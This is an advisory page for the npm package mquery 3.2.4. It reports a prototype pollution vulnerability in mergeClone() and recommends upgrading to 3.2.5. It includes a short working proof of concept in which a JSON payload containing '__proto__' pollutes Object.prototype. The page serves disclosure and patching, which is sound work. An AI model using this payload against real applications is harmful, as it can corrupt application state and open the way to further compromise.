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mquery@3.2.4 vulnerabilities

Expressive query building for MongoDB

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Direct Vulnerabilities

Known vulnerabilities in the mquery package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Prototype Pollution

mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.

PoC by zhou, peng

mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

How to fix Prototype Pollution?

Upgrade mquery to version 3.2.5 or higher.

<3.2.5
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